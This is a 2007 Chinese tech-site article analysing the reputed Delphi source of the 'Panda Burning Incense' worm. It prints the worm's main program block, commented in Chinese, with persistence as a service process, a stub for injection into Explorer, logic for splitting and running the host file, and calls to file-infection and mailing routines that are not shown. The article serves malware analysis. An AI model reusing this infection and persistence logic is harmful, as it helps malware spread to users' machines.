“熊猫烧香”源码启示录

http://tech.ddvip.com   2007年03月20日    社区交流

本文详细介绍“熊猫烧香”源码启示录

  本文中,我想对这个基于Delphi语言所编写的“熊猫烧香源码”作进一步分析,并阐述自己的几点看法。

  二、 “熊猫烧香”病毒“源码”浅析

  (一) 主程序段分析

  原“熊猫烧香”病毒“源码”主程序段代码如下所示:

{==================主程序开始====================}
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进程
else //WinNT
begin
//远程线程映射到Explorer进程
//哪位兄台愿意完成之?
end;
//如果是原始病毒体自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
  
InfectFiles //感染和发邮件
else //已寄生于宿主程序上了,开始工作
begin
TmpFile := ParamStr(0); //创建临时文件……....Line n
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一个空格
  
ExtractFile(TmpFile); //分离之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //创建新进程运行之……....Line n+7
  
InfectFiles; //感染和发邮件
end;
end.

  稍加分析,我们不难绘出其相应的执行流程(如图2):

              图2.主程序流程图。

责编:豆豆技术应用

正在加载评论...